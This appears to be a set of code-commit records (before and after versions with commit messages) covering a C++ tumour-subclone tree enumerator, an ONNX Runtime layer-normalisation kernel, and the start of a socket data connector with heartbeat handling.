AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdio>
#include <assert.h>
#include <algorithm>
#include <numeric>
#include <cmath>
#include "EventCluster.h"
#include "Subclone.h"
#include "SubcloneExplore.h"
#include "SegmentalMutation.h"
sqlite3 *res_database;
static int _num_solutions;
static std::vector<int> _tree_depth;
using namespace SubcloneExplorer;
int treeDepth(TreeNode *root) {
if(root->isLeaf())
return 1;
int max_subtree_depth = 0;
for(size_t i=0; i<root->getVecChildren().size(); i++) {
int subtree_depth = treeDepth(root->getVecChildren()[i]);
if(subtree_depth > max_subtree_depth)
max_subtree_depth = subtree_depth;
}
return 1+max_subtree_depth;
}
void TreeEnumeration(Subclone * root, std::vector<EventCluster> vecClusters, size_t symIdx);
void TreeAssessment(Subclone * root, std::vector<EventCluster> vecClusters);
int main(int argc, char* argv[])
{
if(argc < 2) {
std::cerr<<"Usage: "<<argv[0]<<" <cluster-archive-sqlite-db> [output-db]"<<std::endl;
return(0);
}
res_database=NULL;
sqlite3 *database;
int rc;
rc = sqlite3_open_v2(argv[1], &database, SQLITE_OPEN_READONLY, NULL);
if(rc != SQLITE_OK) {
std::cerr<<"Unable to open database "<<argv[1]<<std::endl;
return(1);
}
// load mutation clusters
EventCluster dummyCluster;
std::vector<sqlite3_int64> clusterIDs = dummyCluster.vecAllObjectsID(database);
if(clusterIDs.size() == 0) {
std::cerr<<"Event cluster list is empty!"<<std::endl;
return(1);
}
std::vector<EventCluster> vecClusters;
for(size_t i=0; i<clusterIDs.size(); i++) {
EventCluster newCluster;
newCluster.unarchiveObjectFromDB(database, clusterIDs[i]);
// load CNV events
CNV dummyCNV;
DBObjectID_vec memberCNV_IDs = dummyCNV.allObjectsOfCluster(database, newCluster.getId());
for(size_t j=0; j<memberCNV_IDs.size(); j++) {
CNV *newCNV = new CNV();
newCNV->unarchiveObjectFromDB(database, memberCNV_IDs[j]);
newCluster.addEvent(newCNV, false);
}
vecClusters.push_back(newCluster);
}
sqlite3_close(database);
std::sort(vecClusters.begin(), vecClusters.end());
std::reverse(vecClusters.begin(), vecClusters.end());
// Mutation list read. Start to enumerate trees
// 1. Create a node contains no mutation (symId = 0).
// this node will act as the root of the trees
Subclone *root = new Subclone();
root->setFraction(-1);
root->setTreeFraction(-1);
if(argc >= 2) {
int rc = sqlite3_open(argv[2], &res_database);
if(rc != SQLITE_OK ) {
std::cerr<<"Unable to open result database for writting."<<std::endl;
return(1);
}
}
TreeEnumeration(root, vecClusters, 0);
if(res_database != NULL)
sqlite3_close(res_database);
if(_tree_depth.size()> 0)
std::cout<<_num_solutions<<"\t"<<std::accumulate(_tree_depth.begin(), _tree_depth.end(), 0)/float(_tree_depth.size())<<std::endl;
return 0;
}
// First of all, a tree traverser that will print out the tree.
// This will be used when the program decides to output a tree
// Tree Print Traverser. This one will just print the symbol id
// of the node that is given to it.
class TreePrintTraverser: public TreeTraverseDelegate {
public:
virtual void preprocessNode(TreeNode *node) {
if(!node->isLeaf())
std::cerr<<"(";
}
virtual void processNode(TreeNode * node) {
std::cerr<<((Subclone *)node)->fraction()<<",";
}
virtual void postprocessNode(TreeNode *node) {
if(!node->isLeaf())
std::cerr<<")";
}
};
// This function will recursively construct all possible tree structures
// using the given mutation list, starting with the mutation identified by symIdx
//
// The idea behind this is quite simple. If a node is not the last symbol on the
// mutation list, it will try to add this particular node to every other existing
// node's children list. After one addition, the traverser calls the TreeEnumeration
// again but with a incremented symIdx, so that the next symbol can be treated in the
// same way. When the last symbol has been reached, the tree is printed out, in both
// Pre-Order and Post-Order, by the TreePrintTraverser class, so that each tree can be
// uniquely identified.
void TreeEnumeration(Subclone * root, std::vector<EventCluster> vecClusters, size_t symIdx)
{
// Tree Enum Traverser. It will check if the last symbol has been
// treated or not. If yes, the tree is complete and it will call
// TreeAssessment to assess the viability of the tree; If no, it
// will add the current untreated symbol as a children to the node
// that is given to it, and call TreeEnumeration again to go into
// one more level of the recursion.
class TreeEnumTraverser : public TreeTraverseDelegate {
protected:
// Some state variables that the TreeEnumeration
// function needs to expose to the traverser
std::vector<EventCluster>& _vecClusters;
size_t _symIdx;
Subclone *_floatNode;
Subclone *_root;
public:
TreeEnumTraverser(std::vector<EventCluster>& vecClusters,
size_t symIdx,
Subclone *floatNode,
Subclone *root):
_vecClusters(vecClusters), _symIdx(symIdx),
_floatNode(floatNode), _root(root) {;}
virtual void processNode(TreeNode * node) {
Subclone *clone = dynamic_cast<Subclone *>(node);
// Add the floating node as the chilren of the current node
clone->addChild(_floatNode);
// Move on to the next symbol
TreeEnumeration(_root, _vecClusters, _symIdx);
// Remove the child
node->removeChild(_floatNode);
}
};
if(symIdx == vecClusters.size()) {
TreeAssessment(root, vecClusters);
return;
}
// Create the new tree node
Subclone *newClone = new Subclone();
newClone->setFraction(-1);
newClone->setTreeFraction(-1);
newClone->addEventCluster(&vecClusters[symIdx]);
// add more cluster into the same subclone if they share
// the same frequency. This is unlikely to happen if
// the clusters are generated from a clustering algorithm
// run on the raw data. But when using external dataset this
// could be possible
float currentFraction = vecClusters[symIdx].cellFraction();
symIdx++;
while(symIdx < vecClusters.size() &&
fabs(vecClusters[symIdx].cellFraction() - currentFraction) < 0.01) {
newClone->addEventCluster(&vecClusters[symIdx]);
symIdx++;
}
// Configure the tree traverser
TreeEnumTraverser TreeEnumTraverserObj(vecClusters, symIdx, newClone, root);
// Traverse the tree
TreeNode::PreOrderTraverse(root, TreeEnumTraverserObj);
delete newClone;
}
void TreeAssessment(Subclone * root, std::vector<EventCluster> vecClusters)
{
class FracAsnTraverser : public TreeTraverseDelegate {
protected:
std::vector<EventCluster>& _vecClusters;
public:
FracAsnTraverser(std::vector<EventCluster>& vecClusters): _vecClusters(vecClusters) {;}
virtual void processNode(TreeNode * node) {
if(node->isLeaf()) {
// direct assign
((Subclone *)node)->setFraction(((Subclone *)node)->vecEventCluster()[0]->cellFraction());
((Subclone *)node)->setTreeFraction(((Subclone *)node)->vecEventCluster()[0]->cellFraction());
}
else {
// intermediate node. assign it's mutation fraction - subtree_fraction
// actually, if it's root, assign 1
if(node->isRoot())
((Subclone *)node)->setTreeFraction(1);
else
((Subclone *)node)->setTreeFraction(((Subclone *)node)->vecEventCluster()[0]->cellFraction());
assert(((Subclone *)node)->treeFraction() >= 0 && ((Subclone *)node)->treeFraction() <= 1);
double childrenFraction = 0;
for(size_t i=0; i<node->getVecChildren().size(); i++)
childrenFraction += ((Subclone *)node->getVecChildren()[i])->treeFraction();
double nodeFraction = ((Subclone *)node)->treeFraction() - childrenFraction;
if(nodeFraction < 1e-2 && nodeFraction > -1e-2)
nodeFraction = 0;
// check tree viability
if(nodeFraction < -0.01) {
terminate();
}
else {
((Subclone *)node)->setFraction(nodeFraction);
assert(((Subclone *)node)->fraction() >= 0 && ((Subclone *)node)->fraction() <= 1);
}
}
}
};
// Fraction Reset Traverser. This will go through the nodes and
// reset the fraction to uninitialized state so that the same nodes
// can be used for another structure's evaluation
class NodeResetTraverser : public TreeTraverseDelegate {
public:
virtual void processNode(TreeNode * node) {
((Subclone *)node)->setFraction(-1);
((Subclone *)node)->setTreeFraction(-1);
((Subclone *)node)->setParentId(0);
((Subclone *)node)->setId(0);
}
};
// check if the root is sane
if(root == NULL)
return;
// reset node and tree fractions
NodeResetTraverser nrTraverser;
TreeNode::PreOrderTraverse(root, nrTraverser);
// calcuate tree fractions
FracAsnTraverser fracTraverser(vecClusters);
TreeNode::PostOrderTraverse(root, fracTraverser);
// if the tree is viable, output it
if(root->fraction() >= -0.01) {
TreePrintTraverser printTraverser;
std::cerr<<"Viable Tree! Pre-Orer: ";
TreeNode::PreOrderTraverse(root, printTraverser);
std::cerr<<std::endl;
// save tree to database
if(res_database != NULL) {
SubcloneSaveTreeTraverser stt(res_database);
TreeNode::PreOrderTraverse(root, stt);
}
_num_solutions++;
_tree_depth.push_back(treeDepth(root));
}
else
{
TreePrintTraverser printTraverser;
std::cerr<<"Unviable Tree! Pre-Orer: ";
TreeNode::PreOrderTraverse(root, printTraverser);
std::cerr<<std::endl;
}
}
<commit_msg>Fixed a float comparison issue in SubcloneExplorer.cc<commit_after>/*
The MIT License (MIT)
Copyright (c) 2013 Yi Qiao
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdio>
#include <assert.h>
#include <algorithm>
#include <numeric>
#include <cmath>
#include "EventCluster.h"
#include "Subclone.h"
#include "SubcloneExplore.h"
#include "SegmentalMutation.h"
#define EPISLON (0.01)
sqlite3 *res_database;
static int _num_solutions;
static std::vector<int> _tree_depth;
using namespace SubcloneExplorer;
int treeDepth(TreeNode *root) {
if(root->isLeaf())
return 1;
int max_subtree_depth = 0;
for(size_t i=0; i<root->getVecChildren().size(); i++) {
int subtree_depth = treeDepth(root->getVecChildren()[i]);
if(subtree_depth > max_subtree_depth)
max_subtree_depth = subtree_depth;
}
return 1+max_subtree_depth;
}
void TreeEnumeration(Subclone * root, std::vector<EventCluster> vecClusters, size_t symIdx);
void TreeAssessment(Subclone * root, std::vector<EventCluster> vecClusters);
int main(int argc, char* argv[])
{
if(argc < 2) {
std::cerr<<"Usage: "<<argv[0]<<" <cluster-archive-sqlite-db> [output-db]"<<std::endl;
return(0);
}
res_database=NULL;
sqlite3 *database;
int rc;
rc = sqlite3_open_v2(argv[1], &database, SQLITE_OPEN_READONLY, NULL);
if(rc != SQLITE_OK) {
std::cerr<<"Unable to open database "<<argv[1]<<std::endl;
return(1);
}
// load mutation clusters
EventCluster dummyCluster;
std::vector<sqlite3_int64> clusterIDs = dummyCluster.vecAllObjectsID(database);
if(clusterIDs.size() == 0) {
std::cerr<<"Event cluster list is empty!"<<std::endl;
return(1);
}
std::vector<EventCluster> vecClusters;
for(size_t i=0; i<clusterIDs.size(); i++) {
EventCluster newCluster;
newCluster.unarchiveObjectFromDB(database, clusterIDs[i]);
// load CNV events
CNV dummyCNV;
DBObjectID_vec memberCNV_IDs = dummyCNV.allObjectsOfCluster(database, newCluster.getId());
for(size_t j=0; j<memberCNV_IDs.size(); j++) {
CNV *newCNV = new CNV();
newCNV->unarchiveObjectFromDB(database, memberCNV_IDs[j]);
newCluster.addEvent(newCNV, false);
}
vecClusters.push_back(newCluster);
}
sqlite3_close(database);
std::sort(vecClusters.begin(), vecClusters.end());
std::reverse(vecClusters.begin(), vecClusters.end());
// Mutation list read. Start to enumerate trees
// 1. Create a node contains no mutation (symId = 0).
// this node will act as the root of the trees
Subclone *root = new Subclone();
root->setFraction(-1);
root->setTreeFraction(-1);
if(argc >= 2) {
int rc = sqlite3_open(argv[2], &res_database);
if(rc != SQLITE_OK ) {
std::cerr<<"Unable to open result database for writting."<<std::endl;
return(1);
}
}
TreeEnumeration(root, vecClusters, 0);
if(res_database != NULL)
sqlite3_close(res_database);
if(_tree_depth.size()> 0)
std::cout<<_num_solutions<<"\t"<<std::accumulate(_tree_depth.begin(), _tree_depth.end(), 0)/float(_tree_depth.size())<<std::endl;
return 0;
}
// First of all, a tree traverser that will print out the tree.
// This will be used when the program decides to output a tree
// Tree Print Traverser. This one will just print the symbol id
// of the node that is given to it.
class TreePrintTraverser: public TreeTraverseDelegate {
public:
virtual void preprocessNode(TreeNode *node) {
if(!node->isLeaf())
std::cerr<<"(";
}
virtual void processNode(TreeNode * node) {
std::cerr<<((Subclone *)node)->fraction()<<",";
}
virtual void postprocessNode(TreeNode *node) {
if(!node->isLeaf())
std::cerr<<")";
}
};
// This function will recursively construct all possible tree structures
// using the given mutation list, starting with the mutation identified by symIdx
//
// The idea behind this is quite simple. If a node is not the last symbol on the
// mutation list, it will try to add this particular node to every other existing
// node's children list. After one addition, the traverser calls the TreeEnumeration
// again but with a incremented symIdx, so that the next symbol can be treated in the
// same way. When the last symbol has been reached, the tree is printed out, in both
// Pre-Order and Post-Order, by the TreePrintTraverser class, so that each tree can be
// uniquely identified.
void TreeEnumeration(Subclone * root, std::vector<EventCluster> vecClusters, size_t symIdx)
{
// Tree Enum Traverser. It will check if the last symbol has been
// treated or not. If yes, the tree is complete and it will call
// TreeAssessment to assess the viability of the tree; If no, it
// will add the current untreated symbol as a children to the node
// that is given to it, and call TreeEnumeration again to go into
// one more level of the recursion.
class TreeEnumTraverser : public TreeTraverseDelegate {
protected:
// Some state variables that the TreeEnumeration
// function needs to expose to the traverser
std::vector<EventCluster>& _vecClusters;
size_t _symIdx;
Subclone *_floatNode;
Subclone *_root;
public:
TreeEnumTraverser(std::vector<EventCluster>& vecClusters,
size_t symIdx,
Subclone *floatNode,
Subclone *root):
_vecClusters(vecClusters), _symIdx(symIdx),
_floatNode(floatNode), _root(root) {;}
virtual void processNode(TreeNode * node) {
Subclone *clone = dynamic_cast<Subclone *>(node);
// Add the floating node as the chilren of the current node
clone->addChild(_floatNode);
// Move on to the next symbol
TreeEnumeration(_root, _vecClusters, _symIdx);
// Remove the child
node->removeChild(_floatNode);
}
};
if(symIdx == vecClusters.size()) {
TreeAssessment(root, vecClusters);
return;
}
// Create the new tree node
Subclone *newClone = new Subclone();
newClone->setFraction(-1);
newClone->setTreeFraction(-1);
newClone->addEventCluster(&vecClusters[symIdx]);
// add more cluster into the same subclone if they share
// the same frequency. This is unlikely to happen if
// the clusters are generated from a clustering algorithm
// run on the raw data. But when using external dataset this
// could be possible
float currentFraction = vecClusters[symIdx].cellFraction();
symIdx++;
while(symIdx < vecClusters.size() &&
fabs(vecClusters[symIdx].cellFraction() - currentFraction) < EPISLON) {
newClone->addEventCluster(&vecClusters[symIdx]);
symIdx++;
}
// Configure the tree traverser
TreeEnumTraverser TreeEnumTraverserObj(vecClusters, symIdx, newClone, root);
// Traverse the tree
TreeNode::PreOrderTraverse(root, TreeEnumTraverserObj);
delete newClone;
}
void TreeAssessment(Subclone * root, std::vector<EventCluster> vecClusters)
{
class FracAsnTraverser : public TreeTraverseDelegate {
protected:
std::vector<EventCluster>& _vecClusters;
public:
FracAsnTraverser(std::vector<EventCluster>& vecClusters): _vecClusters(vecClusters) {;}
virtual void processNode(TreeNode * node) {
Subclone *clone = dynamic_cast<Subclone *>(node);
if(node->isLeaf()) {
// direct assign
((Subclone *)node)->setFraction(((Subclone *)node)->vecEventCluster()[0]->cellFraction());
((Subclone *)node)->setTreeFraction(((Subclone *)node)->vecEventCluster()[0]->cellFraction());
}
else {
// intermediate node. assign it's mutation fraction - subtree_fraction
// actually, if it's root, assign 1
if(clone->isRoot())
clone->setTreeFraction(1);
else
clone->setTreeFraction(clone->vecEventCluster()[0]->cellFraction());
assert(clone->treeFraction() >= -EPISLON && clone->treeFraction() <= 1 + EPISLON);
double childrenFraction = 0;
for(size_t i=0; i<node->getVecChildren().size(); i++)
childrenFraction += ((Subclone *)node->getVecChildren()[i])->treeFraction();
double nodeFraction = ((Subclone *)node)->treeFraction() - childrenFraction;
if(nodeFraction < EPISLON && nodeFraction > -EPISLON)
nodeFraction = 0;
// check tree viability
if(nodeFraction < -EPISLON) {
terminate();
}
else {
((Subclone *)node)->setFraction(nodeFraction);
assert(((Subclone *)node)->fraction() >= -EPISLON && ((Subclone *)node)->fraction() <= 1+EPISLON);
}
}
}
};
// Fraction Reset Traverser. This will go through the nodes and
// reset the fraction to uninitialized state so that the same nodes
// can be used for another structure's evaluation
class NodeResetTraverser : public TreeTraverseDelegate {
public:
virtual void processNode(TreeNode * node) {
((Subclone *)node)->setFraction(-1);
((Subclone *)node)->setTreeFraction(-1);
((Subclone *)node)->setParentId(0);
((Subclone *)node)->setId(0);
}
};
// check if the root is sane
if(root == NULL)
return;
// reset node and tree fractions
NodeResetTraverser nrTraverser;
TreeNode::PreOrderTraverse(root, nrTraverser);
// calcuate tree fractions
FracAsnTraverser fracTraverser(vecClusters);
TreeNode::PostOrderTraverse(root, fracTraverser);
// if the tree is viable, output it
if(root->fraction() >= -EPISLON) {
TreePrintTraverser printTraverser;
std::cerr<<"Viable Tree! Pre-Orer: ";
TreeNode::PreOrderTraverse(root, printTraverser);
std::cerr<<std::endl;
// save tree to database
if(res_database != NULL) {
SubcloneSaveTreeTraverser stt(res_database);
TreeNode::PreOrderTraverse(root, stt);
}
_num_solutions++;
_tree_depth.push_back(treeDepth(root));
}
else
{
TreePrintTraverser printTraverser;
std::cerr<<"Unviable Tree! Pre-Orer: ";
TreeNode::PreOrderTraverse(root, printTraverser);
std::cerr<<std::endl;
}
}
<|endoftext|>
|
<commit_before>// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#include "core/framework/tensor.h"
#include "core/util/math_cpuonly.h"
#include "core/providers/common.h"
#include "core/platform/threadpool.h"
#include "skip_layer_norm.h"
namespace onnxruntime {
namespace contrib {
#define REGISTER_KERNEL_TYPED(T) \
ONNX_OPERATOR_TYPED_KERNEL_EX( \
SkipLayerNormalization, \
kMSDomain, \
1, \
T, \
kCpuExecutionProvider, \
KernelDefBuilder() \
.TypeConstraint("T", DataTypeImpl::GetTensorType<T>()), \
SkipLayerNorm<T>);
REGISTER_KERNEL_TYPED(float)
REGISTER_KERNEL_TYPED(double)
template <typename T>
SkipLayerNorm<T>::SkipLayerNorm(const OpKernelInfo& op_kernel_info)
: OpKernel(op_kernel_info) {
ORT_ENFORCE(op_kernel_info.GetAttr<float>("epsilon", &epsilon_).IsOK());
ORT_ENFORCE(epsilon_ >= 0);
}
template <typename T>
Status SkipLayerNorm<T>::Compute(OpKernelContext* p_ctx) const {
const Tensor* input = p_ctx->Input<Tensor>(0);
const Tensor* skip = p_ctx->Input<Tensor>(1);
const Tensor* gamma = p_ctx->Input<Tensor>(2);
const Tensor* beta = p_ctx->Input<Tensor>(3);
const Tensor* bias = p_ctx->Input<Tensor>(4);
Tensor* output = p_ctx->Output(0, input->Shape());
const auto& input_dims = input->Shape().GetDims();
if (input_dims.size() != 3) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"input is expected to have 3 dimensions, got ", input_dims.size());
}
if (input->Shape() != skip->Shape()) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"skip is expected to have same shape as input");
}
const auto& gamma_dims = gamma->Shape().GetDims();
if (gamma_dims.size() != 1) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"gamma is expected to have 1 dimension, got ", gamma_dims.size());
}
if (gamma_dims[0] != input_dims[2]) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"Last dimension of gamma and input does not match");
}
if (nullptr != beta) {
const auto& beta_dims = beta->Shape().GetDims();
if (beta_dims.size() != 1) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"beta is expected to have 1 dimension, got ", beta_dims.size());
}
if (beta_dims[0] != input_dims[2]) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"Last dimension of beta and input does not match");
}
}
if (nullptr != bias) {
const auto& bias_dims = bias->Shape().GetDims();
if (bias_dims.size() != 1) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"bias is expected to have 1 dimension, got ", bias_dims.size());
}
if (bias_dims[0] != input_dims[2]) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"Last dimension of bias and input does not match");
}
}
int64_t batch_size = input_dims[0];
int64_t sequence_length = input_dims[1];
int64_t hidden_size = input_dims[2];
int64_t task_count = batch_size * sequence_length;
const T* input_data = input->Data<T>();
const T* skip_data = skip->Data<T>();
const T* gamma_data = gamma->Data<T>();
const T* beta_data = beta == nullptr ? nullptr : beta->Data<T>();
const T* bias_data = bias == nullptr ? nullptr : bias->Data<T>();
T* output_data = output->MutableData<T>();
concurrency::ThreadPool::TryBatchParallelFor(p_ctx->GetOperatorThreadPool(), static_cast<int32_t>(task_count),
[&](ptrdiff_t task_idx) {
const T* p_input = input_data + task_idx * hidden_size;
const T* p_skip = skip_data + task_idx * hidden_size;
T* p_output = output_data + task_idx * hidden_size;
T mean = 0;
T mean_square = 0;
for (int64_t h = 0; h < hidden_size; h++) {
T value = p_input[h] + p_skip[h];
if (nullptr != bias_data) {
value += bias_data[h];
}
p_output[h] = value;
mean += value;
mean_square += value * value;
}
mean = mean / hidden_size;
mean_square = sqrt(mean_square / hidden_size - mean * mean + epsilon_);
for (int64_t h = 0; h < hidden_size; h++) {
if (nullptr == beta_data) {
p_output[h] = (p_output[h] - mean) / mean_square * gamma_data[h];
} else {
p_output[h] = (p_output[h] - mean) / mean_square * gamma_data[h] + beta_data[h];
}
}
}, 0);
return Status::OK();
}
} // namespace contrib
} // namespace onnxruntime
<commit_msg>cleanup formatting in skip_layer_norm.cc (#8371)<commit_after>// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#include "core/framework/tensor.h"
#include "core/util/math_cpuonly.h"
#include "core/providers/common.h"
#include "core/platform/threadpool.h"
#include "skip_layer_norm.h"
namespace onnxruntime {
namespace contrib {
#define REGISTER_KERNEL_TYPED(T) \
ONNX_OPERATOR_TYPED_KERNEL_EX( \
SkipLayerNormalization, \
kMSDomain, \
1, \
T, \
kCpuExecutionProvider, \
KernelDefBuilder() \
.TypeConstraint("T", DataTypeImpl::GetTensorType<T>()), \
SkipLayerNorm<T>);
REGISTER_KERNEL_TYPED(float)
REGISTER_KERNEL_TYPED(double)
template <typename T>
SkipLayerNorm<T>::SkipLayerNorm(const OpKernelInfo& op_kernel_info)
: OpKernel(op_kernel_info) {
ORT_ENFORCE(op_kernel_info.GetAttr<float>("epsilon", &epsilon_).IsOK());
ORT_ENFORCE(epsilon_ >= 0);
}
template <typename T>
Status SkipLayerNorm<T>::Compute(OpKernelContext* p_ctx) const {
const Tensor* input = p_ctx->Input<Tensor>(0);
const Tensor* skip = p_ctx->Input<Tensor>(1);
const Tensor* gamma = p_ctx->Input<Tensor>(2);
const Tensor* beta = p_ctx->Input<Tensor>(3);
const Tensor* bias = p_ctx->Input<Tensor>(4);
Tensor* output = p_ctx->Output(0, input->Shape());
const auto& input_dims = input->Shape().GetDims();
if (input_dims.size() != 3) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"input is expected to have 3 dimensions, got ", input_dims.size());
}
if (input->Shape() != skip->Shape()) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"skip is expected to have same shape as input");
}
const auto& gamma_dims = gamma->Shape().GetDims();
if (gamma_dims.size() != 1) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"gamma is expected to have 1 dimension, got ", gamma_dims.size());
}
if (gamma_dims[0] != input_dims[2]) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"Last dimension of gamma and input does not match");
}
if (nullptr != beta) {
const auto& beta_dims = beta->Shape().GetDims();
if (beta_dims.size() != 1) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"beta is expected to have 1 dimension, got ", beta_dims.size());
}
if (beta_dims[0] != input_dims[2]) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"Last dimension of beta and input does not match");
}
}
if (nullptr != bias) {
const auto& bias_dims = bias->Shape().GetDims();
if (bias_dims.size() != 1) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"bias is expected to have 1 dimension, got ", bias_dims.size());
}
if (bias_dims[0] != input_dims[2]) {
return ORT_MAKE_STATUS(ONNXRUNTIME, INVALID_ARGUMENT,
"Last dimension of bias and input does not match");
}
}
int64_t batch_size = input_dims[0];
int64_t sequence_length = input_dims[1];
int64_t hidden_size = input_dims[2];
int64_t task_count = batch_size * sequence_length;
const T* input_data = input->Data<T>();
const T* skip_data = skip->Data<T>();
const T* gamma_data = gamma->Data<T>();
const T* beta_data = beta == nullptr ? nullptr : beta->Data<T>();
const T* bias_data = bias == nullptr ? nullptr : bias->Data<T>();
T* output_data = output->MutableData<T>();
concurrency::ThreadPool::TryBatchParallelFor(
p_ctx->GetOperatorThreadPool(), static_cast<int32_t>(task_count),
[&](ptrdiff_t task_idx) {
const T* p_input = input_data + task_idx * hidden_size;
const T* p_skip = skip_data + task_idx * hidden_size;
T* p_output = output_data + task_idx * hidden_size;
T mean = 0;
T mean_square = 0;
for (int64_t h = 0; h < hidden_size; h++) {
T value = p_input[h] + p_skip[h];
if (nullptr != bias_data) {
value += bias_data[h];
}
p_output[h] = value;
mean += value;
mean_square += value * value;
}
mean = mean / hidden_size;
mean_square = sqrt(mean_square / hidden_size - mean * mean + epsilon_);
for (int64_t h = 0; h < hidden_size; h++) {
if (nullptr == beta_data) {
p_output[h] = (p_output[h] - mean) / mean_square * gamma_data[h];
} else {
p_output[h] = (p_output[h] - mean) / mean_square * gamma_data[h] + beta_data[h];
}
}
},
0);
return Status::OK();
}
} // namespace contrib
} // namespace onnxruntime
<|endoftext|>
|
<commit_before>/*
* Copyright Copyright 2012, System Insights, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "connector.hpp"
#include "dlib/logger.h"
using namespace std;
static dlib::logger sLogger("input.connector");
/* Connector public methods */
Connector::Connector(const string& server, unsigned int port, int aLegacyTimeout)
: mConnected(false), mRealTime(false), mHeartbeats(false),
mLegacyTimeout(aLegacyTimeout * 1000)
{
mServer = server;
mPort = port;
mCommandLock = new dlib::mutex;
}
Connector::~Connector()
{
delete mCommandLock;
}
void Connector::connect()
{
mConnected = false;
const char *ping = "* PING\n";
try
{
// Connect to server:port, failure will throw dlib::socket_error exception
// Using a smart pointer to ensure connection is deleted if exception thrown
sLogger << LDEBUG << "Connecting to data source: " << mServer << " on port: " << mPort;
mConnection.reset(dlib::connect(mServer, mPort));
// Check to see if this connection supports heartbeats.
sLogger << LDEBUG << "Sending initial PING";
int status = mConnection->write(ping, strlen(ping));
if (status < 0)
{
sLogger << LWARN << "connect: Could not write initial heartbeat: " << intToString(status);
close();
return;
}
connected();
// If we have heartbeats, make sure we receive something every
// freq milliseconds.
dlib::timestamper stamper;
mLastSent = mLastHeartbeat = stamper.get_timestamp();
// Make sure connection buffer is clear
mBuffer.clear();
// Socket buffer to put the extracted data into
char sockBuf[SOCKET_BUFFER_SIZE + 1];
// Keep track of the status return, else status = character bytes read
// Assuming it always enters the while loop, it should never be 1
mConnected = true;
// Boost priority if this is a real-time adapter
if (mRealTime)
{
#ifdef _WINDOWS
HANDLE hand = OpenThread(THREAD_ALL_ACCESS,FALSE,GetCurrentThreadId());
SetThreadPriority(hand, THREAD_PRIORITY_TIME_CRITICAL);
CloseHandle(hand);
#else
struct sched_param param;
param.sched_priority = 30;
if (pthread_setschedparam(pthread_self(), SCHED_FIFO, ¶m) != 0)
sLogger << LDEBUG << "Cannot set high thread priority";
#endif
}
// Read from the socket, read is a blocking call
while (mConnected)
{
uint64 now;
now = stamper.get_timestamp();
int timeout;
if (mHeartbeats)
timeout = (int) mHeartbeatFrequency - ((int) (now - mLastSent) / 1000);
else
timeout = mLegacyTimeout;
if (timeout < 0)
timeout = 1;
sockBuf[0] = 0;
status = mConnection->read(sockBuf, SOCKET_BUFFER_SIZE, timeout);
if (status > 0)
{
// Give a null terminator for the end of buffer
sockBuf[status] = '\0';
parseBuffer(sockBuf);
}
else if (status == TIMEOUT && !mHeartbeats && ((int) (stamper.get_timestamp() - now) / 1000) >= timeout)
{
// We don't stop on heartbeats, but if we have a legacy timeout, then we stop.
sLogger << LERROR << "connect: Did not receive data for over: " << (timeout / 1000) << " seconds";
break;
}
else if (status != TIMEOUT) // Something other than timeout occurred
{
sLogger << LERROR << "connect: Socket error, disconnecting";
break;
}
if (mHeartbeats)
{
now = stamper.get_timestamp();
if ((now - mLastHeartbeat) > (uint64) (mHeartbeatFrequency * 2000))
{
sLogger << LERROR << "connect: Did not receive heartbeat for over: " << (mHeartbeatFrequency * 2);
break;
}
else if ((now - mLastSent) >= (uint64) (mHeartbeatFrequency * 1000))
{
dlib::auto_mutex lock(*mCommandLock);
sLogger << LDEBUG << "Sending a PING for " << mServer << " on port " << mPort;
status = mConnection->write(ping, strlen(ping));
if (status <= 0)
{
sLogger << LERROR << "connect: Could not write heartbeat: " << status;
break;
}
mLastSent = now;
}
}
}
